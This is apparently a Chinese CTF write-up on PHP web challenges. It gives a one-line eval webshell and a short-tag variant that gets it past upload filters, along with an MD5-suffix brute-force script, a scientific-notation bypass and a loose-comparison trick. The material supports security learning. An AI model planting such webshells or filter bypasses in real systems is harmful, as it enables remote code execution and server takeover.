php短标签绕过

在easyupload中,我们使用常见的<?php @eval($_POST['pass']);?>

并不能上传成功,这时我们需要绕过。

php中的特殊标签

  • 当仅禁用<?php时,可以使用<? ?>

要求:需要开启短标签开关,short_open_tag

  • 当禁用<?php以及?>时,还可以使用<?= 不需要闭合标签

要求:PHP版本>PHP 5.4.0

  • 禁用了<?、 <?php、 ?>时,可以使用asp标签<% %>

要求:asp_tags设成On

把木马改为<?=@eval($_POST[1]);?>就能成功上传。

PHP

特殊的md5值

在easyphp中需要我们满足条件

1
'8b184b' === substr(md5($b),-6,6))

也就是最后6个字符是8b184b的md5值,这里用python脚本暴力破解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib# 用于计算 MD5 哈希
import itertools# 用于生成字符组合
import string# 提供字母和数字的预定义字符集

target_prefix = "8b184b" # 目标:MD5 哈希值需以 "8b184b" 结尾
charset = string.ascii_letters + string.digits # 可自定义字符集(例如小写字母、数字)

for length in range(1, 10): # 尝试不同长度的输入
for candidate in itertools.product(charset, repeat=length):# 生成字符集的笛卡尔积,其中字符数由length确定
candidate_str = ''.join(candidate)#将生成的元组candidate转换成字符串
hash_md5 = hashlib.md5(candidate_str.encode()).hexdigest()#将字符串 candidate_str 编码为字节串,计算其MD5散列值,并将其作为十六进制字符串赋值给变量 hash_md5
if hash_md5.endswith(target_prefix):
print(f"Found: '{candidate_str}' -> {hash_md5}")
exit()

运行得到Found: ‘bDIOS’ -> 9126f37d5c0f9f7473fedf0f0e8b184b

科学计数法绕过

1
intval($a) > 6000000 && strlen($a) <= 3

遇到这种既要大于600000又要字符串长度小于3的,我们可以使用科学计数法如7e6就是7*10^6。

松散比较

在做eazyphp时候遇到没开启严格比较的array_search遂可以利用它松散比较的特性。

1
2
3
4
5
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}

这里用array_search搜索”DGGJ”,但后来又不能有”DGGJ”,可以利用== 的若比较,若把整数与字符串比较,那么字符串就会优先转化成整数,这里是0=="DGGJ",那DGGJ被转化成整数就是0。

其他类型的比较规则如下

对于多种类型,比较运算符根据下表比较(按顺序)。

运算数1 类型 运算数2 类型 结果
null 或 string string NULL 转换为 “”,进行数字或词汇比较
bool 或 null 任何其它类型 转换为 bool,FALSE < TRUE
object object 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明
string,resource 或 number string,resource 或 number 将字符串和资源转换成数字,按普通数学比较
array array 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例)
object 任何其它类型 object 总是更大
array 任何其它类型 array 总是更大